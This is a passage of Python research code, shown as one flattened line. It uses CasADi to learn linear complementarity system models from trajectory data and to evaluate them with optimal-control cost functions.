lam_traj_batch += [lam_traj] return state_traj_batch, lam_traj_batch def computeLCSMats(self, compact=True): A = self.A_fn(self.val_dyn_theta).full() B = self.B_fn(self.val_dyn_theta).full() C = self.C_fn(self.val_dyn_theta).full() D = self.D_fn(self.val_lcp_theta).full() E = self.E_fn(self.val_lcp_theta).full() F = self.F_fn(self.val_lcp_theta).full() G = self.G_fn(self.val_lcp_theta).full() H = self.H_fn(self.val_lcp_theta).full() lcp_offset = self.lcp_offset_fn(self.val_lcp_theta).full() lcs_theta = vertcat(vec(A), vec(B), vec(C), vec(D), vec(E), vec(F), vec(lcp_offset)) # return lcs_theta, A, B, C, D, E, F, lcp_offset if compact is True: return lcs_theta else: return {'A': A, 'B': B, 'C': C, 'D': D, 'E': E, 'F': F, 'G': G, 'H': H, 'lcp_offset': lcp_offset, } def dyn_step(self, x_batch, u_batch): self.differetiable() if type(x_batch) is np.ndarray: x_batch = [x_batch] u_batch = [u_batch] batch_size = len(x_batch) next_x_batch = [] lam_batch = [] for i in range(batch_size): x = x_batch[i] u = u_batch[i] lcp_data_theta = np.hstack((x, u, self.val_lcp_theta)) # compute the lam value sol = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta) lam = sol['x'].full().flatten() # compute the next state next_x = self.dyn_fn(x, u, lam, self.val_dyn_theta).full().flatten() # store next_x_batch += [next_x] lam_batch += [lam] return next_x_batch, lam_batch def dynamics_step(self, curr_x, curr_u): self.differetiable() lcp_data_theta = np.hstack((curr_x, curr_u, self.val_lcp_theta)) # compute the lam value sol = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta) curr_lam = sol['x'].full().flatten() # compute the next state next_x = self.dyn_fn(curr_x, curr_u, curr_lam, self.val_dyn_theta).full().flatten() return next_x, curr_lam # class for learning LCS from the hybrid data (backup) class LCS_learner_regression_backup: def __init__(self, n_state, n_control, n_lam, A=None, B=None, C=None, D=None, E=None, G=None, H=None, lcp_offset=None, stiffness=0.): self.n_lam = n_lam self.n_state = n_state self.n_control = n_control self.lam = SX.sym('lam', self.n_lam) self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.theta = [] self.lcp_theta = [] self.dyn_theta = [] if A is None: self.A = SX.sym('A', self.n_state, self.n_state) self.theta += [vec(self.A)] self.dyn_theta += [vec(self.A)] else: self.A = DM(A) if B is None: self.B = SX.sym('B', self.n_state, self.n_control) self.theta += [vec(self.B)] self.dyn_theta += [vec(self.B)] else: self.B = DM(B) if C is None: self.C = SX.sym('C', self.n_state, self.n_lam) self.theta += [vec(self.C)] self.dyn_theta += [vec(self.C)] else: self.C = DM(C) if D is None: self.D = SX.sym('D', self.n_lam, self.n_state) self.theta += [vec(self.D)] self.lcp_theta += [vec(self.D)] else: self.D = DM(D) if E is None: self.E = SX.sym('E', self.n_lam, self.n_control) self.theta += [vec(self.E)] self.lcp_theta += [vec(self.E)] else: self.E = DM(E) if G is None: self.G = SX.sym('G', self.n_lam, self.n_lam) self.theta += [vec(self.G)] self.lcp_theta += [vec(self.G)] else: self.G = DM(G) if H is None: self.H = SX.sym('H', self.n_lam, self.n_lam) self.theta += [vec(self.H)] self.lcp_theta += [vec(self.H)] else: self.H = DM(H) if lcp_offset is None: self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.theta += [vec(self.lcp_offset)] self.lcp_theta += [vec(self.lcp_offset)] else: self.lcp_offset = DM(lcp_offset) self.theta = vcat(self.theta) self.lcp_theta = vcat(self.lcp_theta) self.dyn_theta = vcat(self.dyn_theta) self.n_theta = self.theta.numel() self.n_lcp_theta = self.lcp_theta.numel() self.n_dyn_theta = self.dyn_theta.numel() self.F = stiffness * np.eye(self.n_lam) + self.G @ self.G.T + self.H - self.H.T self.F_fn = Function('F_fn', [self.lcp_theta], [self.F]) self.D_fn = Function('D_fn', [self.lcp_theta], [self.D]) self.E_fn = Function('E_fn', [self.lcp_theta], [self.E]) self.G_fn = Function('G_fn', [self.lcp_theta], [self.G]) self.H_fn = Function('H_fn', [self.lcp_theta], [self.H]) self.A_fn = Function('A_fn', [self.dyn_theta], [self.A]) self.B_fn = Function('B_fn', [self.dyn_theta], [self.B]) self.C_fn = Function('C_fn', [self.dyn_theta], [self.C]) self.lcp_offset_fn = Function('lcp_offset_fn', [self.lcp_theta], [self.lcp_offset]) def differetiable(self): # lcp loss self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset lcp_data_theta = vertcat(self.x, self.u, self.lcp_theta) self.lcp_loss = dot(self.dist, self.lam) quadprog = {'x': self.lam, 'f': self.lcp_loss, 'g': self.dist, 'p': lcp_data_theta} opts = {'printLevel': 'none', } self.lcp_Solver = qpsol('lcp_Solver', 'qpoases', quadprog, opts) # define the dynamics loss self.x_next = SX.sym('x_next', self.n_state) data = vertcat(self.x, self.u, self.x_next) self.dyn = self.A @ self.x + self.B @ self.u + self.C @ self.lam self.dyn_loss = dot(self.dyn - self.x_next, self.dyn - self.x_next) self.dyn_fn = Function('dyn_fn', [self.x, self.u, self.lam, self.dyn_theta], [self.dyn]) # define the dynamics loss with respect to the lam variable self.dloss_dlam = jacobian(self.dyn_loss, self.lam) # define the gradient of lam with respect to lcp_theta g = diag(self.lam) @ self.dist dg_dlam = jacobian(g, self.lam) dg_dlcp = jacobian(g, self.lcp_theta) self.dlam_dlcp = -inv(dg_dlam) @ dg_dlcp self.dloss_dlcp = (self.dloss_dlam @ self.dlam_dlcp).T # assemble functions data = vertcat(self.x, self.u, self.x_next) self.dloss_dlcp_fn = Function('dloss_dlcp_fn', [data, self.lam, self.dyn_theta, self.lcp_theta], [self.dloss_dlcp]) def compute_lambda(self, x_batch, u_batch, lcp_theta): self.differetiable() # prepare the data batch_size = x_batch.shape[0] lcp_data_batch = np.hstack((x_batch, u_batch)) lcp_theta_batch = np.tile(lcp_theta, (batch_size, 1)) lcp_data_theta_batch = np.hstack((lcp_data_batch, lcp_theta_batch)) # compute the lam solution sol_batch = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta_batch.T) lcp_loss_opt_batch = sol_batch['f'].full().flatten() lam_opt_batch = sol_batch['x'].full().T return lam_opt_batch, lcp_loss_opt_batch def dyn_regression(self, x_batch, u_batch, lam_opt_batch, x_next_batch): # prepare the data batch_size = x_batch.shape[0] I = np.eye(self.n_state) kron_x = np.kron(x_batch, I) kron_u = np.kron(u_batch, I) kron_lam_opt = np.kron(lam_opt_batch, I) kron_x_next = x_next_batch.flatten() mat_A = np.hstack((kron_x, kron_u, kron_lam_opt)) vec_b = kron_x_next # do the regression for dyn_theta dyn_theta_opt = inv(mat_A.T @ mat_A) @ (mat_A.T @ vec_b) dyn_loss_opt = dot(mat_A @ dyn_theta_opt - vec_b, mat_A @ dyn_theta_opt - vec_b) / batch_size return dyn_theta_opt.full().flatten(), dyn_loss_opt def gradient_step(self, x_batch, u_batch, x_next_batch, lam_opt_batch, dyn_theta_opt, lcp_theta): batch_size = x_batch.shape[0] data_batch = np.hstack((x_batch, u_batch, x_next_batch)) dyn_theta_opt_batch = np.tile(dyn_theta_opt, (batch_size, 1)) lcp_theta_batch = np.tile(lcp_theta, (batch_size, 1)) # compute the gradient value dlcp = self.dloss_dlcp_fn(data_batch.T, lam_opt_batch.T, dyn_theta_opt_batch.T, lcp_theta_batch.T) dlcp_mean = dlcp.full().mean(axis=1) return dlcp_mean.flatten() def dyn_prediction(self, x_batch, u_batch, dyn_theta_opt, lcp_theta): self.differetiable() # prepare the data batch_size = x_batch.shape[0] lcp_data_batch = np.hstack((x_batch, u_batch)) lcp_theta_batch = np.tile(lcp_theta, (batch_size, 1)) lcp_data_theta_batch = np.hstack((lcp_data_batch, lcp_theta_batch)) # compute the lam solution sol_batch = self.lcp_Solver(lbx=0.0, lbg=0.0, p=lcp_data_theta_batch.T) lam_opt_batch = sol_batch['x'].full().T # compute the next state batch dyn_theta_op_batch = np.tile(dyn_theta_opt, (batch_size, 1)) x_next_batch = self.dyn_fn(x_batch.T, u_batch.T, lam_opt_batch.T, dyn_theta_op_batch.T).full().T return x_next_batch, lam_opt_batch # do statistics for the modes def statiModes(lam_batch, tol=1e-5): # dimension of the lambda n_lam = lam_batch.shape[1] # total number of modes total_n_mode = float(2 ** n_lam) # do the statistics for the modes lam_batch_mode = np.where(lam_batch < tol, 0, 1) unique_mode_list, mode_count_list = np.unique(lam_batch_mode, axis=0, return_counts=True) mode_frequency_list = mode_count_list / lam_batch.shape[0] return unique_mode_list, mode_frequency_list # do the plot of differnet mode def plotModes(lam_batch, tol=1e-5): # do the statistics for the modes lam_batch_mode = np.where(lam_batch < tol, 0, 1) unique_mode_list, mode_indices = np.unique(lam_batch_mode, axis=0, return_inverse=True) return unique_mode_list, mode_indices # generate the random control sequence def randomControlTraj(traj_count, horizon, n_control): res = [] for i in range(traj_count): single_traj = np.random.randn(horizon, n_control) res += [single_traj] return res # learn a lcs model from the sampled data using regression algorithms def LCSRegressionBuffer(lcs_learner, optimizier, curr_control_traj_batch, curr_true_state_traj_batch, prev_control_traj_batch, prev_true_state_traj_batch, buffer_ratio=0.5, minibatch_size=200, max_iter=5000, print_level=0): # converting the data form curr_batch_size = len(curr_control_traj_batch) curr_train_u_batch = [] curr_train_x_batch = [] curr_train_x_next_batch = [] for i in range(curr_batch_size): curr_train_u_batch += [curr_control_traj_batch[i]] curr_train_x_batch += [curr_true_state_traj_batch[i][0:-1]] curr_train_x_next_batch += [curr_true_state_traj_batch[i][1:]] curr_train_u_batch = np.vstack(curr_train_u_batch) curr_train_x_next_batch = np.vstack(curr_train_x_next_batch) curr_train_x_batch = np.vstack(curr_train_x_batch) curr_train_data_size = curr_train_u_batch.shape[0] curr_minibatch_size = int((1 - buffer_ratio) * minibatch_size) # converting the data form prev_batch_size = len(prev_control_traj_batch) if prev_batch_size is not 0: prev_train_u_batch = [] prev_train_x_batch = [] prev_train_x_next_batch = [] for i in range(prev_batch_size): prev_train_u_batch += [prev_control_traj_batch[i]] prev_train_x_batch += [prev_true_state_traj_batch[i][0:-1]] prev_train_x_next_batch += [prev_true_state_traj_batch[i][1:]] prev_train_u_batch = np.vstack(prev_train_u_batch) prev_train_x_next_batch = np.vstack(prev_train_x_next_batch) prev_train_x_batch = np.vstack(prev_train_x_batch) prev_train_data_size = prev_train_u_batch.shape[0] prev_minibatch_size = minibatch_size - curr_minibatch_size else: curr_minibatch_size = minibatch_size prev_minibatch_size = 0 print('current_data points:', curr_minibatch_size, '| history data points:', prev_minibatch_size) for k in range(max_iter): # mini batch dataset for current training data set curr_shuffle_index = np.random.permutation(curr_train_data_size)[0:curr_minibatch_size] curr_x_minibatch = curr_train_x_batch[curr_shuffle_index] curr_u_minibatch = curr_train_u_batch[curr_shuffle_index] curr_x_next_minibatch = curr_train_x_next_batch[curr_shuffle_index] # mini batch dataset for the previous training data set if prev_batch_size is not 0: prev_shuffle_index = np.random.permutation(prev_train_data_size)[0:prev_minibatch_size] prev_x_minibatch = prev_train_x_batch[prev_shuffle_index] prev_u_minibatch = prev_train_u_batch[prev_shuffle_index] prev_x_next_minibatch = prev_train_x_next_batch[prev_shuffle_index] x_minibatch = np.vstack((curr_x_minibatch, prev_x_minibatch)) u_minibatch = np.vstack((curr_u_minibatch, prev_u_minibatch)) x_next_minibatch = np.vstack((curr_x_next_minibatch, prev_x_next_minibatch)) else: x_minibatch = curr_x_minibatch u_minibatch = curr_u_minibatch x_next_minibatch = curr_x_next_minibatch # compute the lambda batch lam_opt_mini_batch, loss_opt_mini_batch = lcs_learner.compute_lambda(x_minibatch, u_minibatch) # regression for the dynamics dyn_loss_opt = lcs_learner.dyn_regression(x_minibatch, u_minibatch, lam_opt_mini_batch, x_next_minibatch) # compute the gradient dlcp_theta = lcs_learner.gradient_step(x_minibatch, u_minibatch, x_next_minibatch, lam_opt_mini_batch) # store and update lcs_learner.val_lcp_theta = optimizier.step(lcs_learner.val_lcp_theta, dlcp_theta) if print_level is not 0: if k % 100 == 0: # on the prediction using the current learned lcs pred_x_next_batch, pred_lam_batch = lcs_learner.dyn_prediction(curr_train_x_batch, curr_train_u_batch) # compute the prediction error error_x_next_batch = pred_x_next_batch - curr_train_x_next_batch relative_error = ( la.norm(error_x_next_batch, axis=1) / ( la.norm(curr_train_x_next_batch, axis=1) + 0.0001)).mean() print( 'lcs learning iter', k, '| loss:', dyn_loss_opt, '| grad:', norm_2(dlcp_theta), '| PRE:', relative_error, ) # learn a lcs model from the sampled data using regression algorithms without previous def LCSLearningRegression(lcs_learner, optimizier, control_traj_batch, true_state_traj_batch, max_iter=5000, minibatch_size=100, print_level=0): # converting the data form batch_size = len(control_traj_batch) train_u_batch = [] train_x_batch = [] train_x_next_batch = [] for i in range(batch_size): train_u_batch += [control_traj_batch[i]] train_x_batch += [true_state_traj_batch[i][0:-1]] train_x_next_batch += [true_state_traj_batch[i][1:]] train_u_batch = np.vstack(train_u_batch) train_x_next_batch = np.vstack(train_x_next_batch) train_x_batch = np.vstack(train_x_batch) # do the learning iteration train_data_size = train_u_batch.shape[0] for k in range(max_iter): # mini batch dataset shuffle_index = np.random.permutation(train_data_size)[0:minibatch_size] x_minibatch = train_x_batch[shuffle_index] u_minibatch = train_u_batch[shuffle_index] x_next_minibatch = train_x_next_batch[shuffle_index] # compute the lambda batch lam_opt_mini_batch, loss_opt_mini_batch = lcs_learner.compute_lambda(x_minibatch, u_minibatch) # regression for the dynamics dyn_loss_opt = lcs_learner.dyn_regression(x_minibatch, u_minibatch, lam_opt_mini_batch, x_next_minibatch) # compute the gradient dlcp_theta = lcs_learner.gradient_step(x_minibatch, u_minibatch, x_next_minibatch, lam_opt_mini_batch) # store and update lcs_learner.val_lcp_theta = optimizier.step(lcs_learner.val_lcp_theta, dlcp_theta) if print_level is not 0: if k % 100 == 0: # on the prediction using the current learned lcs pred_x_next_batch, pred_lam_batch = lcs_learner.dyn_prediction(train_x_batch, train_u_batch) # compute the prediction error error_x_next_batch = pred_x_next_batch - train_x_next_batch relative_error = ( la.norm(error_x_next_batch, axis=1) / (la.norm(train_x_next_batch, axis=1) + 0.0001)).mean() print( 'lcs learning iter', k, '| loss:', dyn_loss_opt, '| grad:', norm_2(dlcp_theta), '| PRE:', relative_error, ) # learn a lcs model from the sampled data using l4dc paper def LCSLearning(lcs_learner, optimizer, control_traj_batch, true_state_traj_batch, max_iter=5000, minibatch_size=100): # converting the data form batch_size = len(control_traj_batch) train_u_batch = [] train_x_batch = [] train_x_next_batch = [] for i in range(batch_size): train_u_batch += [control_traj_batch[i]] train_x_batch += [true_state_traj_batch[i][0:-1]] train_x_next_batch += [true_state_traj_batch[i][1:]] train_u_batch = np.vstack(train_u_batch) train_x_next_batch = np.vstack(train_x_next_batch) train_x_batch = np.vstack(train_x_batch) # do the learning iteration train_data_size = train_u_batch.shape[0] epsilon = np.logspace(3, -2, max_iter) for k in range(max_iter): # mini batch dataset shuffle_index = np.random.permutation(train_data_size)[0:minibatch_size] x_minibatch = train_x_batch[shuffle_index] u_minibatch = train_u_batch[shuffle_index] x_next_minibatch = train_x_next_batch[shuffle_index] # compute the lambda batch lcs_learner.differetiable(gamma=1e-3, epsilon=epsilon[k]) lam_phi_opt_mini_batch, loss_opt_batch = lcs_learner.compute_lambda(x_minibatch, u_minibatch, x_next_minibatch) # compute the gradient dtheta, loss, dyn_loss, lcp_loss, dtheta_hessian = \ lcs_learner.gradient_step(x_minibatch, u_minibatch, x_next_minibatch, lam_phi_opt_mini_batch, second_order=False) # store and update lcs_learner.val_theta = optimizer.step(lcs_learner.val_theta, dtheta) if k % 100 == 0: # on the prediction using the current learned lcs pred_x_next_batch, pred_lam_batch = lcs_learner.dyn_prediction(train_x_batch, train_u_batch) # compute the prediction error error_x_next_batch = pred_x_next_batch - train_x_next_batch relative_error = ( la.norm(error_x_next_batch, axis=1) / (la.norm(train_x_next_batch, axis=1) + 0.0001)).mean() print( k, '| loss:', loss, '| dyn_loss:', dyn_loss, '| lcp_loss:', lcp_loss, '| grad:', norm_2(dtheta), '| PRE:', relative_error, '| epsilon:', epsilon[k], ) # compute the gradient of the control input using the recovery matrix (Jin. et al. IJRR) # evaluation object to evaluate the learned lcs model using a control cost function class LCS_evaluation: def __init__(self, lcs_learner): self.name = 'lcs evaluation' # define the system variables self.n_state = lcs_learner.n_state self.n_control = lcs_learner.n_control self.n_lam = lcs_learner.n_lam # define the system variables self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.lam = SX.sym('lam', self.n_lam) def setCostFunction(self, Q, R, QN, control_horizon): self.Q = DM(Q) self.R = DM(R) self.QN = DM(QN) self.control_horizon = control_horizon # define the control cost function self.path_cost = dot(self.x, self.Q @ self.x) + dot(self.u, self.R @ self.u) self.final_cost = dot(self.x, self.QN @ self.x) self.path_cost_fn = Function('path_cost_fn', [self.x, self.u], [self.path_cost]) self.final_cost_fn = Function('final_cost_fn', [self.x], [self.final_cost]) def computeCost(self, control_traj_batch, state_traj_batch): cost_batch = [] batch_size = len(control_traj_batch) for i in range(batch_size): u_traj = control_traj_batch[i] x_traj = state_traj_batch[i] cost = 0.0 for t in range(self.control_horizon): curr_x = x_traj[t] curr_u = u_traj[t] cost += self.path_cost_fn(curr_x, curr_u) cost += self.final_cost_fn(x_traj[-1]) cost_batch += [cost] return cost_batch def differentiable(self): self.A = SX.sym('A', self.n_state, self.n_state) self.B = SX.sym('B', self.n_state, self.n_control) self.C = SX.sym('C', self.n_state, self.n_lam) self.D = SX.sym('D', self.n_lam, self.n_state) self.E = SX.sym('E', self.n_lam, self.n_control) self.F = SX.sym('F', self.n_lam, self.n_lam) self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.lcs_theta = vertcat(vec(self.A), vec(self.B), vec(self.C), vec(self.D), vec(self.E), vec(self.F), vec(self.lcp_offset)) # define the dynamics self.f = self.A @ self.x + self.B @ self.u + self.C @ self.lam # define the gradient of lam with respect to lcp_theta self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset g = diag(self.lam) @ self.dist dg_dlam = jacobian(g, self.lam) dg_dx = jacobian(g, self.x) dg_du = jacobian(g, self.u) dlam_dx = -inv(dg_dlam) @ dg_dx dlam_du = -inv(dg_dlam) @ dg_du # differentiate df_dx = jacobian(self.f, self.x) + jacobian(self.f, self.lam) @ dlam_dx df_du = jacobian(self.f, self.u) + jacobian(self.f, self.lam) @ dlam_du self.dfdx_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_dx]) self.dfdu_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_du]) # compute the gradient of the cost function self.dcdx = jacobian(self.path_cost, self.x).T self.dcdu = jacobian(self.path_cost, self.u).T self.dhdx = jacobian(self.final_cost, self.x).T # establish the functions for the above gradient self.dcdx_fn = Function('dcdx_fn', [self.x, self.u], [self.dcdx]) self.dcdu_fn = Function('dcdu_fn', [self.x, self.u], [self.dcdu]) self.dhdx_fn = Function('dhdx_fn', [self.x], [self.dhdx]) # I use the single shooting method to update the control sequence but it does not work def Evaluate(self, lcs_learner, init_state_batch, control_traj_batch, true_state_traj_batch): lcs_theta = lcs_learner.computeLCSMats() # compute the state batch_trajectory pred_state_traj_batch, pred_lam_traj_batch = lcs_learner.sim_dyn(init_state_batch, control_traj_batch) # # debug for plotting # plt.plot(true_state_traj_batch[0]) # plt.plot(pred_state_traj_batch[0]) # plt.show() # control_update trajectory control_update_traj_batch = [] model_cost_batch = [] true_sys_cost_batch = [] batch_size = init_state_batch.shape[0] for i in range(batch_size): u_traj = control_traj_batch[i] pred_x_traj = pred_state_traj_batch[i] pred_lam_traj = pred_lam_traj_batch[i] true_x_traj = true_state_traj_batch[i] control_horizon = u_traj.shape[0] # compute the recover matrix (see Jin et al. IJRR for details) curr_x = pred_x_traj[0] curr_u = u_traj[0] curr_lam = pred_lam_traj[0] next_x = pred_x_traj[1] next_u = u_traj[1] next_lam = pred_lam_traj[1] curr_dfdu = self.dfdu_fn(curr_x, curr_u, curr_lam, lcs_theta) curr_dcdu = self.dcdu_fn(curr_x, curr_u) next_dfdx = self.dfdx_fn(next_x, next_u, next_lam, lcs_theta) next_dcdx = self.dcdx_fn(next_x, next_u) H1 = curr_dfdu.T @ next_dcdx + curr_dcdu H2 = curr_dfdu.T @ next_dfdx.T model_cost = self.path_cost_fn(curr_x, curr_u) true_sys_cost = self.path_cost_fn(true_x_traj[0], curr_u) for t in range(1, control_horizon - 1): curr_x = pred_x_traj[t] curr_u = u_traj[t] next_x = pred_x_traj[t + 1] next_u = u_traj[t + 1] curr_dfdu = self.dfdu_fn(curr_x, curr_u, curr_lam, lcs_theta) curr_dcdu = self.dcdu_fn(curr_x, curr_u) next_dfdx = self.dfdx_fn(next_x, next_u, next_lam, lcs_theta) next_dcdx = self.dcdx_fn(next_x, next_u) H1 = vertcat(H1 + H2 @ next_dcdx, curr_dfdu.T @ next_dcdx + curr_dcdu) H2 = vertcat(H2 @ next_dfdx.T, curr_dfdu.T @ next_dfdx.T) model_cost += self.path_cost_fn(curr_x, curr_u) true_sys_cost += self.path_cost_fn(true_x_traj[t], curr_u) curr_x = pred_x_traj[control_horizon - 1] curr_u = u_traj[control_horizon - 1] curr_dfdu = self.dfdu_fn(curr_x, curr_u, curr_lam, lcs_theta) curr_dcdu = self.dcdu_fn(curr_x, curr_u) next_x = pred_x_traj[control_horizon] next_dhdx = self.dhdx_fn(next_x) H1 = vertcat(H1 + H2 @ next_dhdx, curr_dfdu.T @ next_dhdx + curr_dcdu).full().flatten() model_cost += self.path_cost_fn(curr_x, curr_u) true_sys_cost += self.path_cost_fn(true_x_traj[control_horizon - 1], curr_u) model_cost += self.final_cost_fn(next_x) true_sys_cost += self.final_cost_fn(true_x_traj[control_horizon]) control_update_traj_batch += [H1.reshape((-1, self.n_control))] model_cost_batch += [model_cost] true_sys_cost_batch += [true_sys_cost] return control_update_traj_batch, model_cost_batch, true_sys_cost_batch def Update(self, control_traj_batch, control_update_batch, step_size=1e-4): batch_size = len(control_traj_batch) new_control_traj_batch = [] for i in range(batch_size): control_traj = control_traj_batch[i] update_traj = control_update_batch[i] new_control_traj = control_traj - step_size * update_traj new_control_traj_batch += [new_control_traj] return new_control_traj_batch # Then I think about to update the control sequence using multiple-shooting (this can be further improved) def initializeUpdater(self, proximity_epsilon=1e-3): self.differentiable() # Start with an empty NLP w = [] w0 = [] lbw = [] ubw = [] J = 0 g = [] lbg = [] ubg = [] p = [] # "Lift" initial conditions Xk = casadi.SX.sym('X0', self.n_state) w += [Xk] lbw += np.zeros(self.n_state).tolist() ubw += np.zeros(self.n_state).tolist() w0 += np.zeros(self.n_state).tolist() # formulate the NLP for k in range(self.control_horizon): # New NLP variable for the control Uk = casadi.SX.sym('U_' + str(k), self.n_control) w += [Uk] lbw += self.n_control * [-inf] ubw += self.n_control * [inf] w0 += self.n_control * [0.] # new NLP variable for the complementarity variable Lamk = casadi.SX.sym('lam' + str(k), self.n_lam) w += [Lamk] lbw += self.n_lam * [0.] ubw += self.n_lam * [inf] w0 += self.n_lam * [0.] # Add complementarity equation g += [self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset] lbg += self.n_lam * [0.] ubg += self.n_lam * [inf] g += [casadi.dot(self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset, Lamk)] lbg += [0.] ubg += [0.] # Integrate till the end of the interval Xnext = self.A @ Xk + self.B @ Uk + self.C @ Lamk # compute the current cost Uk_ref = SX.sym('Uk_ref' + str(k), self.n_control) p += [Uk_ref] Ck = dot(Xk, self.Q @ Xk) + dot(Uk, self.R @ Uk) + dot(Uk - Uk_ref, Uk - Uk_ref) / proximity_epsilon J = J + Ck # New NLP variable for state at end of interval Xk = casadi.SX.sym('X_' + str(k + 1), self.n_state) w += [Xk] lbw += self.n_state * [-inf] ubw += self.n_state * [inf] w0 += self.n_state * [0.] # Add constraint for the dynamics g += [Xnext - Xk] lbg += self.n_state * [0.] ubg += self.n_state * [0.] # Add the final cost J = J + dot(Xk, self.QN @ Xk) # Create an NLP solver and solve p += [self.lcs_theta] opts = {'ipopt.print_level': 0, 'ipopt.sb': 'yes', 'print_time': 0} prob = {'f': J, 'x': casadi.vertcat(*w), 'g': casadi.vertcat(*g), 'p': vertcat(*p)} self.oc_solver = casadi.nlpsol('solver', 'ipopt', prob, opts) self.lbw = DM(lbw) self.ubw = DM(ubw) self.lbg = DM(lbg) self.ubg = DM(ubg) self.w0 = DM(w0) # this is warming start for acceleration of ipopt solver self.warm_start = [] def EvaluateMS(self, lcs_learner, init_state_batch, control_traj_batch): if not hasattr(self, 'solver'): self.initializeUpdater() lcs_theta = lcs_learner.computeLCSMats() # compute the state batch_trajectory pred_state_traj_batch, pred_lam_traj_batch = lcs_learner.sim_dyn(init_state_batch, control_traj_batch) # # debug for plotting # plt.plot(true_state_traj_batch[0]) # plt.plot(pred_state_traj_batch[0]) # plt.show() # =============================================== # do the update of the control sequence batch_size = len(control_traj_batch) updated_control_traj_batch = [] updated_pred_state_traj_batch = [] updated_pred_lam_traj_batch = [] # this is for warm start for the next iteration w_opt_batch = [] for i in range(batch_size): u_traj = control_traj_batch[i] init_state = init_state_batch[i] # step upt the oc solver lbw = self.lbw ubw = self.ubw lbw[0:self.n_state] = DM(init_state) ubw[0:self.n_state] = DM(init_state) oc_para = vertcat(u_traj.flatten(), lcs_theta) # warm start if not self.warm_start: init_w = self.w0 init_w[0:self.n_state] = DM(init_state) else: init_w = self.warm_start[i] init_w[0:self.n_state] = DM(init_state) # Solve the NLP sol = self.oc_solver(x0=init_w, lbx=lbw, ubx=ubw, lbg=self.lbg, ubg=self.ubg, p=oc_para) w_opt = sol['x'] w_opt_batch += [w_opt] # extract the optimal control and state sol_traj = w_opt[0:self.control_horizon * (self.n_state + self.n_control + self.n_lam)].reshape( (self.n_state + self.n_control + self.n_lam, -1)) x_traj = casadi.horzcat(sol_traj[0:self.n_state, :], w_opt[self.control_horizon * (self.n_state + self.n_control + self.n_lam):]).T u_traj = sol_traj[self.n_state:self.n_state + self.n_control, :].T lam_traj = sol_traj[self.n_state + self.n_control:, :].T updated_control_traj_batch += [u_traj.full()] updated_pred_state_traj_batch += [x_traj.full()] updated_pred_lam_traj_batch += [lam_traj.full()] self.warm_start = w_opt_batch return updated_control_traj_batch # compute the gradient of the control input using the recovery matrix (Jin. et al. IJRR) # evaluation object to evaluate the learned lcs model using a control cost function # random_initial condition class LCS_evaluation2: def __init__(self, lcs_learner): self.name = 'lcs evaluation' # define the system variables self.n_state = lcs_learner.n_state self.n_control = lcs_learner.n_control self.n_lam = lcs_learner.n_lam # define the system variables self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.lam = SX.sym('lam', self.n_lam) def setCostFunction(self, Q, R, QN, control_horizon): self.Q = DM(Q) self.R = DM(R) self.QN = DM(QN) self.control_horizon = control_horizon # define the control cost function self.path_cost = dot(self.x, self.Q @ self.x) + dot(self.u, self.R @ self.u) self.final_cost = dot(self.x, self.QN @ self.x) self.path_cost_fn = Function('path_cost_fn', [self.x, self.u], [self.path_cost]) self.final_cost_fn = Function('final_cost_fn', [self.x], [self.final_cost]) def computeCost(self, control_traj_batch, state_traj_batch): cost_batch = [] batch_size = len(control_traj_batch) for i in range(batch_size): u_traj = control_traj_batch[i] x_traj = state_traj_batch[i] cost = 0.0 for t in range(self.control_horizon): curr_x = x_traj[t] curr_u = u_traj[t] cost += self.path_cost_fn(curr_x, curr_u) cost += self.final_cost_fn(x_traj[-1]) cost_batch += [cost] return cost_batch def differentiable(self): self.A = SX.sym('A', self.n_state, self.n_state) self.B = SX.sym('B', self.n_state, self.n_control) self.C = SX.sym('C', self.n_state, self.n_lam) self.D = SX.sym('D', self.n_lam, self.n_state) self.E = SX.sym('E', self.n_lam, self.n_control) self.F = SX.sym('F', self.n_lam, self.n_lam) self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.lcs_theta = vertcat(vec(self.A), vec(self.B), vec(self.C), vec(self.D), vec(self.E), vec(self.F), vec(self.lcp_offset)) # define the dynamics self.f = self.A @ self.x + self.B @ self.u + self.C @ self.lam # define the gradient of lam with respect to lcp_theta self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset g = diag(self.lam) @ self.dist dg_dlam = jacobian(g, self.lam) dg_dx = jacobian(g, self.x) dg_du = jacobian(g, self.u) dlam_dx = -inv(dg_dlam) @ dg_dx dlam_du = -inv(dg_dlam) @ dg_du # differentiate df_dx = jacobian(self.f, self.x) + jacobian(self.f, self.lam) @ dlam_dx df_du = jacobian(self.f, self.u) + jacobian(self.f, self.lam) @ dlam_du self.dfdx_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_dx]) self.dfdu_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_du]) # compute the gradient of the cost function self.dcdx = jacobian(self.path_cost, self.x).T self.dcdu = jacobian(self.path_cost, self.u).T self.dhdx = jacobian(self.final_cost, self.x).T # establish the functions for the above gradient self.dcdx_fn = Function('dcdx_fn', [self.x, self.u], [self.dcdx]) self.dcdu_fn = Function('dcdu_fn', [self.x, self.u], [self.dcdu]) self.dhdx_fn = Function('dhdx_fn', [self.x], [self.dhdx]) # Then I think about to update the control sequence using multiple-shooting (this can be further improved) def initializeUpdater(self, proximity_epsilon=1e-2): self.differentiable() # Start with an empty NLP w = [] w0 = [] lbw = [] ubw = [] J = 0 g = [] lbg = [] ubg = [] p = [] # "Lift" initial conditions Xk = casadi.SX.sym('X0', self.n_state) w += [Xk] lbw += np.zeros(self.n_state).tolist() ubw += np.zeros(self.n_state).tolist() w0 += 